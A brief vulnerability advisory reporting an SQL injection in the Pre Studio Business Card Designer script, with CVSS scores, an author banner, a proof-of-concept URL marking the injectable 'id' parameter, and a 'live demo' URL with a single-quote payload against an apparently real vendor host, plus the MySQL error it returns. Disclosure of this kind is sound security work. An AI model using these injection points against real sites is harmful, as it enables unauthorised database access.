Pre Studio Business Card Designer SQL Injection

2011-12-26 / 2012-09-01
Credit: r45c4l
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Author: r45c4l # # Home : http://twitter.com/#!/r45c4l # # Email : infosecpirate@gmail.com # # Share the c0de! # # Greetz to all my ICW, AH brothers and all Indian Hackers. ################################################################ # # Title: Pre Studio Business Card Designer SQL Injection # # ########################################################### # # Script Vendor: http://www.preproject.com/card.asp # # Price : $ 399 # ########################################################### p0c : http://www.site.com/prestudio/page.php?id=[sqli] Live Demo : Demo : http://www.preprojects.com/preprojects/prestudio/page.php?id=2' Error Message : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1''' at line 1

References:

http://www.preproject.com/card.asp


Vote for this issue:
50%
50%

Comment it here.

Copyright 2025, cxsecurity.com

 

Back to Top